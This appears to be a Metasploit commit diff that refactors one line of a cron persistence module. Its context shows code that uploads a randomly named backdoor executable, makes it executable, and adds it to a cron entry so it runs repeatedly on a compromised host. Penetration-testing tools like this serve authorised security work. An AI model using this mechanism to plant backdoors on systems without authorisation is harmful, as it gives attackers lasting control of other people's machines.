cron updated with mixin udpates

Author: h00die

modules/exploits/multi/persistence/cron.rb

@@ -134,7 +134,7 @@ def install_persistence
       cron_entry += " #{payload.encoded}"
     else
       file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)
-      backdoor = "#{datastore['WritableDir']}/#{file_name}"
+      backdoor = "#{writable_dir}/#{file_name}"
       vprint_status("Writing backdoor to #{backdoor}")
       upload_and_chmodx backdoor, generate_payload_exe
       cron_entry += " #{backdoor}"